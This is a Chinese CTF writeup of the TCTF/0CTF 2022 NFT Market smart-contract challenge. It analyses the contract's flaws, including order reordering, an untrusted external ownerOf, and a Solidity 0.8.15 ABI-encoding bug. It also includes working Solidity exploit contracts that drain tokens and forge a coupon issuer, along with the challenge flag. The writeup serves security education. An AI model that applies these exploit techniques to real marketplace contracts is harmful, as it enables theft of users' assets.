跳转至

TCTF/0CTF 2022 RisingStar Writeup

2519 个字 323 行代码 1 张图片 预计阅读时间 12 分钟

Abstract

TCTF/0CTF 2022 的新星赛道和国际赛道,misc 题有四道是同一个附件的四个 flag,很 reverse,没怎么做。只和四老师一起做了 ETH 的题,还是比较有趣的


TCTF NFT Market

题目合约
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.15;

import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";


contract TctfNFT is ERC721, Ownable {
    constructor() ERC721("TctfNFT", "TNFT") {
        _setApprovalForAll(address(this), msg.sender, true);
    }

    function mint(address to, uint256 tokenId) external onlyOwner {
        _mint(to, tokenId);
    }
}

contract TctfToken is ERC20 {
    bool airdropped;

    constructor() ERC20("TctfToken", "TTK") {
        _mint(address(this), 100000000000);
        _mint(msg.sender, 1337);
    }

    function airdrop() external {
        require(!airdropped, "Already airdropped");
        airdropped = true;
        _mint(msg.sender, 5);
    }
}

struct Order {
    address nftAddress;
    uint256 tokenId;
    uint256 price;
}
struct Coupon {
    uint256 orderId;
    uint256 newprice;
    address issuer;
    address user;
    bytes reason;
}
struct Signature {
    uint8 v;
    bytes32[2] rs;
}
struct SignedCoupon {
    Coupon coupon;
    Signature signature;
}

contract TctfMarket {
    event SendFlag();
    event NFTListed(
        address indexed seller,
        address indexed nftAddress,
        uint256 indexed tokenId,
        uint256 price
    );

    event NFTCanceled(
        address indexed seller,
        address indexed nftAddress,
        uint256 indexed tokenId
    );

    event NFTBought(
        address indexed buyer,
        address indexed nftAddress,
        uint256 indexed tokenId,
        uint256 price
    );

    bool tested;
    TctfNFT public tctfNFT;
    TctfToken public tctfToken;
    CouponVerifierBeta public verifier;
    Order[] orders;

    constructor() {
        tctfToken = new TctfToken();
        tctfToken.approve(address(this), type(uint256).max);

        tctfNFT = new TctfNFT();
        tctfNFT.mint(address(tctfNFT), 1);
        tctfNFT.mint(address(this), 2);
        tctfNFT.mint(address(this), 3);

        verifier = new CouponVerifierBeta();

        orders.push(Order(address(tctfNFT), 1, 1));
        orders.push(Order(address(tctfNFT), 2, 1337));
        orders.push(Order(address(tctfNFT), 3, 13333333337));
    }

    function getOrder(uint256 orderId) public view returns (Order memory order) {
        require(orderId < orders.length, "Invalid orderId");
        order = orders[orderId];
    }

    function createOrder(address nftAddress, uint256 tokenId, uint256 price) external returns(uint256) {
        require(price > 0, "Invalid price");
        require(isNFTApprovedOrOwner(nftAddress, msg.sender, tokenId), "Not owner");
        orders.push(Order(nftAddress, tokenId, price));
        emit NFTListed(msg.sender, nftAddress, tokenId, price);
        return orders.length - 1;
    }

    function cancelOrder(uint256 orderId) external {
        Order memory order = getOrder(orderId);
        require(isNFTApprovedOrOwner(order.nftAddress, msg.sender, order.tokenId), "Not owner");
        _deleteOrder(orderId);
        emit NFTCanceled(msg.sender, order.nftAddress, order.tokenId);
    }

    function purchaseOrder(uint256 orderId) external {
        Order memory order = getOrder(orderId);
        _deleteOrder(orderId);
        IERC721 nft = IERC721(order.nftAddress);
        address owner = nft.ownerOf(order.tokenId);
        tctfToken.transferFrom(msg.sender, owner, order.price);
        nft.safeTransferFrom(owner, msg.sender, order.tokenId);
        emit NFTBought(msg.sender, order.nftAddress, order.tokenId, order.price);
    }

    function purchaseWithCoupon(SignedCoupon calldata scoupon) external {
        Coupon memory coupon = scoupon.coupon;
        require(coupon.user == msg.sender, "Invalid user");
        require(coupon.newprice > 0, "Invalid price");
        verifier.verifyCoupon(scoupon);
        Order memory order = getOrder(coupon.orderId);
        _deleteOrder(coupon.orderId);
        IERC721 nft = IERC721(order.nftAddress);
        address owner = nft.ownerOf(order.tokenId);
        tctfToken.transferFrom(coupon.user, owner, coupon.newprice);
        nft.safeTransferFrom(owner, coupon.user, order.tokenId);
        emit NFTBought(coupon.user, order.nftAddress, order.tokenId, coupon.newprice);
    }

    function purchaseTest(address nftAddress, uint256 tokenId, uint256 price) external {
        require(!tested, "Tested");
        tested = true;
        IERC721 nft = IERC721(nftAddress);
        uint256 orderId = TctfMarket(this).createOrder(nftAddress, tokenId, price);
        nft.approve(address(this), tokenId);
        TctfMarket(this).purchaseOrder(orderId);
    }

    function win() external {
        require(tctfNFT.ownerOf(1) == msg.sender && tctfNFT.ownerOf(2) == msg.sender && tctfNFT.ownerOf(3) == msg.sender);
        emit SendFlag();
    }

    function isNFTApprovedOrOwner(address nftAddress, address spender, uint256 tokenId) internal view returns (bool) {
        IERC721 nft = IERC721(nftAddress);
        address owner = nft.ownerOf(tokenId);
        return (spender == owner || nft.isApprovedForAll(owner, spender) || nft.getApproved(tokenId) == spender);
    }

    function _deleteOrder(uint256 orderId) internal {
        orders[orderId] = orders[orders.length - 1];
        orders.pop();
    }

    function onERC721Received(address, address, uint256, bytes memory) public pure returns (bytes4) {
        return this.onERC721Received.selector;
    }
}

contract CouponVerifierBeta {
    TctfMarket market;
    bool tested;

    constructor() {
        market = TctfMarket(msg.sender);
    }

    function verifyCoupon(SignedCoupon calldata scoupon) public {
        require(!tested, "Tested");
        tested = true;
        Coupon memory coupon = scoupon.coupon;
        Signature memory sig = scoupon.signature;
        Order memory order = market.getOrder(coupon.orderId);
        bytes memory serialized = abi.encode(
            "I, the issuer", coupon.issuer,
            "offer a special discount for", coupon.user,
            "to buy", order, "at", coupon.newprice,
            "because", coupon.reason
        );
        IERC721 nft = IERC721(order.nftAddress);
        address owner = nft.ownerOf(order.tokenId);
        require(coupon.issuer == owner, "Invalid issuer");
        require(ecrecover(keccak256(serialized), sig.v, sig.rs[0], sig.rs[1]) == coupon.issuer, "Invalid signature");
    }
}

合约很复杂,下面详细分析一下:

  • 有一个基于 ERC20 的代币 TctfToken(TTK)
    • 在创建时会给自己合约发放 100000000000 个代币,给部署者发放 1337 个代币
    • 有空投方法,外部可以直接调用,不过只能调用一次,且一次只能获得 5 个代币
  • 有一个基于 ERC721 的非同质化代币(NFT)TctfNFT
    • NFT 的实质就是可以下发很多种代币(tokenId,不过每种只能有一个,因此在 mint 的时候第二个参数代表的是编号而不是 ERC20 中的数量
    • 只有 owner 可以下发新代币
  • 有一些结构体
    • Order:保存了订单信息,包含 NFT 合约地址、售卖的代币 id、售卖的价格
    • Coupon:保存了一个优惠券,包含了订单编号、优惠后的价格、下发优惠券的账户地址、使用优惠券的账户地址、优惠理由
      • ⚠️ 这里有一个可疑的地方,它保存的是订单编号而不是代币编号,会出现问题
    • Signature:保存了签名信息(web3 签名得到的 v、r、s)
    • SignedCoupon:保存了一个优惠券和对应的签名
  • 有一个交易商场合约 TctfMarket
    • 构造方法:
      • 先创建一个 TctfToken 合约账户,并允许当前商场合约任意使用所拥有的代币
        • 当前商场因为部署了合约会被分到 1337 TTK
      • 然后创建一个 TctfNFT 合约账户,并下发三个 NFT 代币:
        • 1 NFT 发放给 TctfNFT 合约账户
        • 2 号、3 NFT 发放给当前商场账户
      • 创建一个 verifier(后面再分析)
      • 创建三个订单:
        • 1 号代币以 1 TTK 的价格售卖(airdrop 之后可以直接购买)
        • 2 号代币以 1337 TTK 的价格售卖
          • ⚠️ 结合前面商场得到了 1337 TTK 的暗示,可以知道这个代币需要先骗取商场的钱
        • 3 号代币以 13333333337 TTK 的价格售卖
          • ⚠️ 价格很高,所以可以猜到需要使用优惠券来降低价格
    • 通过方法:
      • win 方法中定义(末尾 emit SendFlag 事件)
      • 检查调用者是否拥有全部三个代币,如果有则成功
    • getOrder 方法:获取订单,不必多说
    • createOrder 方法
      • 接收一个 NFT 合约账户地址,售卖的 tokenId 和价格
      • 创建订单的账户(即调用此方法的账户)必须是所售卖代币的 owner,或者被所有者赋予了管理此代币的权限,或者被所有者赋予了管理他所有代币的权限(在 isNFTApprovedOrOwner 方法中检查)
      • ⚠️ 此处有一个问题,创建订单的 NFT 合约地址并没有硬编码为商场创建的 NFT 地址,而是可以通过用户自行输入,会有问题
      • ⚠️ 此处还有一个问题,这个方法是 external 的,也就是说外部的任何人都可以调用这个方法来创建订单
    • cancelOrder 方法
      • createOrder 方法同样检查了权限
      • 调用了 internal _deleteOrder 方法:
        • 将末尾的订单移动到当前要删除的位置然后弹出末尾订单
        • ⚠️ 这里会导致订单顺序乱序,结合前面优惠券保存的是订单编号,会导致优惠券实际作用代币发生变化,是个大问题
    • 有三种支付订单(购买代币)的方法:
      • purchaseOrder 原价购买:
        • 可以调用无限次
        • 直接支付,先删除订单防止重入
        • 先从调用者(买家)转 order.price TTK 给代币所有者
          • ⚠️ 这里也有问题,Token 的接收方只会是 owner,而不会是其它被 approved 的账户(比如订单创建者)
        • 再从代币所有者转出这个代币(order.tokenId)给调用者(买家)
      • purchaseTest:
        • 只能调用一次
        • ⚠️ 看名字是测试用方法,很可疑,应该会包含漏洞
        • 具体逻辑和 purchaseOrder 差不多
        • 调用者可以指定 NFT 合约地址、tokenId 和价格
        • 先创建订单然后跳用 purchaseOrder 购买
      • purchaseWithCoupon 使用优惠券购买:
        • 只能调用一次(CouponVerifierBeta 的原因)
        • 传入一个 SignedCoupon
        • 通过 verifier.verifyCoupon 验证权限和签名
        • 通过 coupon.orderId 取出订单并删除
          • ⚠️ 这里有问题,取出订单的操作在验证之后,如果能够在验证时搞些手段则可以让后面获得的订单是另一个订单
        • purchaseOrder 同样逻辑售卖(以 coupon.newprice 价格)
    • onERC721Received 方法:
      • 需要返回 selector 来表示这是一个可疑接收 ERC721 代币的合约账户(在 safeTransferFrom 时调用检查)
      • 曾经有漏洞是利用这个函数的特性来在里面搞小动作实现重入攻击,不过本合约已经防止了重入
  • 有一个优惠券签名验证合约 CouponVerifierBeta
    • ⚠️ 同样名字里带了 Beta,很可疑
    • verifyCoupon 方法:
      • 只能调用一次
      • 接收一个 SignedCoupon
      • 取出 coupon、签名、订单
      • 构造 serialized bytes 信息
      • 验证 issuer 是否是所优惠的代币的 owner
        • ⚠️ 此处有问题,调用了 NFT 地址上的 ownerOf 方法,不过这个 NFT 地址可以是用户自行创建订单时指定的,其 ownerOf 方法也并不可信
      • 验证针对 keccak256(serialized) 的签名 sig 是否是 issuer 签署的

分析下来已经得到了很多疑点和有漏洞的地方,三个代币的获取方法也就基本清晰了:

  • 1 号代币通过 airdrop 拿到 5 TTK 后可以直接购买
  • 2 号代币通过 purchaseTest 方法的漏洞骗取 1337 TTK 后购买
    • 先创建一个自己的 TctfNFT 合约
    • 给自己发放一个代币
    • 将自己的权限全权代理给商场
    • 调用 puchaseTest 方法,传入自己建的 NFT 合约地址、发放的代币编号、1337 TTK 的价格
      • 这时里面会创建这个订单并且自己购买
      • 不过自己购买时收款方并不是自己,而是这个代币的 owner,也就是我们的账户,所以就骗到了 1337 TTK
    • (不通过已买的 1 号代币骗钱的原因是这样会导致 1 号代币无法再回收)
  • 3 号代币通过 CouponVerifierBeta 的漏洞,在 ownerOf 里调用删除订单使订单队列乱序,从而用正确的优惠券和价格买到其它订单中的代币

1、2 号获取的流程已经很清晰了,而且其顺序并不影响,可以随时通过对应方法获得。下面主要说 3 号代币,也就是最精彩的部分:

这个代币的获取方法肯定是通过 purchaseWithCoupon 方法,再捋一下调用的整个过程:

  1. 取出参数中的 coupon
  2. 验证 user(使用者)是否是调用者,newprice 是否大于 0
  3. 调用 verifier.verifyCoupon 方法
    1. 取出 coupon、sig、order(订单全部内容)
    2. 构造序列化信息
    3. 调用 order.nftAddress 上的 ownerOf 方法获得 owner
    4. 验证 issuer(下发优惠券的人)是否是 owner
    5. 验证签名是否是 issuer 为序列化信息签署的
  4. 根据 coupon.orderId 取出并删除订单
  5. 调用 order.nftAddress 上的 ownerOf 方法获得 owner
  6. coupon.user owner coupon.newprice TTK
  7. owner order.tokenId 这个代币转给 coupon.user

其中 coupon 提取的时机很关键:

  • purchaseWithCoupon 方法开头就提取了 coupon 全部内容到内存中,因此 verifier.verifyCoupon 返回后 coupon.orderIdcoupon.user 不会变
  • verifier.verifyCoupon 方法中也是开头就提取了 coupon 全部内容,并在 ownerOf 调用前就创建了对应的序列化信息
错误的方法

所以只要我们创建一个自己的订单(nftAddress 是自己部署的有问题的合约,通过某些方法让其顺序变到 3 号代币对应订单之前。这样就可以在 verifier.verifyCoupon 方法中调用 ownerOf 时在其内部删除掉这个订单,导致后面通过 getOrder(coupon.orderId).tokenId 获取到的实际上是 3 号代币

这样回到 purchaseWithCoupon 方法之后取出了订单(售卖的 tokenId 3nftAddress 也是商场中的 NFT 地址)付款只需付 coupon.newprice 这么多就可以得到 3 号代币。

乱序的方法是:

  • 起始:1 2 3
  • 增加一个自己的:1 2 3 4
  • 买下 2:1 4 3(此时自己的订单在 3 前)

不过上面这个方法是有问题的,修改 ownerOf 在其中删除订单的话会导致这个方法并不是 view 方法,需要使用 call 而不是 staticcall 调用。但是通过 IERC721 得到的接口是 view 的,会使用 staticcall 调用,从而导致 revert

解决这个问题的关键在于题目指定了 solidity 编译器版本为 0.8.15。这个版本的编译器存在一个 bug。来自 solidity 0.8.16 release post

Important Bugfixes:

  • Code Generation: Fix data corruption that affected ABI-encoding of calldata values represented by tuples: structs at any nesting level; argument lists of external functions, events and errors; return value lists of external functions. The 32 leading bytes of the first dynamically-encoded value in the tuple would get zeroed when the last component contained a statically-encoded array.

换句话说就是在调用 verifyCoupon 方法时其接收到的 scoupon 的前 32 字节会变成全 0,而对应结构体中这个位置刚好是 orderId,这就导致了无论如何 verifyCoupon 的始终是第一个订单上的信息。因此我们订单列表的顺序就可以是:

  • 初始:1 2 3
  • 新建:1 2 3 4
  • 买下 1:4 2 3
  • 买下 2: 4 3

所以最终验证的还是我们自己订单上的信息,而 owner 原本是攻击合约,不过签署者只能是用户账户,所以需要伪造一下,用一个用户账户签署得到签名,并在 ownerOf 的时候返回这个签署者地址(这样 ownerOf 方法还是 view 的,可以 staticcall

核心代码

ExploitNFT
contract ExploitNFT is Context, ERC165 {
    ...

    address public fake_issuer;

    function set_fake_issuer(address src) public {
        fake_issuer = src;
    }

    function ownerOf(uint256 tokenId) public virtual  returns (address) {
        if (fake_issuer != address(this)) {
            address fake = fake_issuer;
            return fake;
        } else {
            address owner = _owners[tokenId];
            return owner;
        }
    }

    ...
}
Exploit
contract Exploit {
    TctfMarket public market;
    TctfNFT public myNFT;
    ExploitNFT public expNFT;
    address public issuer;

    constructor(address chal, address issuer_) {
        issuer = issuer_;
        market = TctfMarket(chal);
        myNFT = new TctfNFT();
        expNFT = new ExploitNFT("ExploitNFT", "ENFT", chal);
    }

    function airdrop() public {
        market.tctfToken().airdrop();
    }

    function buyToken1() public returns (bool) {
        market.tctfToken().approve(address(market), 1);
        market.purchaseOrder(0);
        return market.tctfNFT().ownerOf(1) == address(this);
    }

    function getTokenFromMarket() public {
        myNFT.mint(address(this), 1);
        myNFT.setApprovalForAll(address(market), true);
        market.purchaseTest(address(myNFT), 1, 1337);
    }

    function buyToken2() public returns (bool) {
        market.tctfToken().approve(address(market), 1337);
        market.purchaseOrder(1);
        return market.tctfNFT().ownerOf(2) == address(this);
    }

    function createNewOrder() public {
        expNFT.mint(address(this), 1);
        market.createOrder(address(expNFT), 1, 1);
    }

    function buyToken3(uint8 v, bytes32[2] calldata rs) public returns (bool) {
        market.tctfToken().approve(address(market), 1);
        expNFT.setApprovalForAll(address(market), true);
        expNFT.set_fake_issuer(issuer);
        require(market.getOrder(0).nftAddress == address(expNFT), "not valid");
        require(market.getOrder(1).nftAddress == address(market.tctfNFT()), "not valid");
        require(address(market.tctfNFT()) != address(expNFT), "not valid");
        market.purchaseWithCoupon(SignedCoupon(
            Coupon(
                1, // orderId
                1, // newprice
                issuer, // issuer
                address(this), // user
                bytes("exploit")
            ),
            Signature(
                v, rs
            )
        ));
        return market.tctfNFT().ownerOf(3) == address(this);
    }

    function getSerialized() public returns (bytes32) {
        Coupon memory coupon;
        Order memory order;
        order.nftAddress = address(expNFT);
        order.tokenId = 1;
        order.price = 1;
        coupon.user = address(this);
        coupon.issuer = issuer;
        coupon.newprice = 1;
        coupon.reason = bytes("exploit");
        bytes memory serialized = abi.encode(
            "I, the issuer", coupon.issuer,
            "offer a special discount for", coupon.user,
            "to buy", order, "at", coupon.newprice,
            "because", coupon.reason
        );
        return keccak256(serialized);
    }

    function check(uint8 v, bytes32[2] calldata rs) public returns (bool) {
        return ecrecover(getSerialized(), v, rs[0], rs[1]) == issuer;
    }

    function exp1() public returns (bool) {
        airdrop();
        createNewOrder();
        getTokenFromMarket();
        if (!buyToken1()) return false;
        if (!buyToken2()) return false;
        return true;
    }

    function exp2(uint8 v, bytes32[2] calldata rs) public returns (bool) {
        if (!buyToken3(v, rs)) return false;
        market.win();
        return true;
    }

    function onERC721Received(address, address, uint256, bytes memory) public pure returns (bytes4) {
        return this.onERC721Received.selector;
    }
}
再配合 web3.py 进行交互即可(签署也在这里完成)

flag: flag{off_by_null_in_the_market_d711fbd6a7c0c015b42d}


最后更新: 2022年10月9日 19:07:24
创建日期: 2022年9月21日 01:16:49
回到页面顶部